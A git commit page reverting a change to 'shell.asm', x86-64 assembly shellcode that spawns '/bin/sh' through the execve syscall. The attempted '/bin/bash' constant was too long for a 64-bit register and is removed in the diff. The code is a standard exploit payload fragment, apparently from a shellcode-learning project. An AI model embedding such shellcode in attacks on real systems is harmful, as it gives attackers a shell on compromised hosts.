Revert "Use /bin/bash instead of bin/sh"

This reverts commit f2e3794.

Author: yeSpud

Diff for: shell.asm

@@ -10,10 +10,9 @@ _start:
 	push 59     ;sys_execve
 	pop rax
 	xor rsi, rsi ;NULL
-    xor rdx, rdx ;NULL
+	xor rdx, rdx ;NULL
 	push rdi
-	;mov rdi, 0x68732F2f6e69622F ;/bin/sh in reverse
-	mov rdi, 0x616268732F2f6e69622F ; /bin/bash in reverse
+	mov rdi, 0x68732F2f6e69622F ;/bin/sh in reverse
 	push rdi
 	mov rdi, rsp ;pointer to the /bin/sh
-	syscall
+	syscall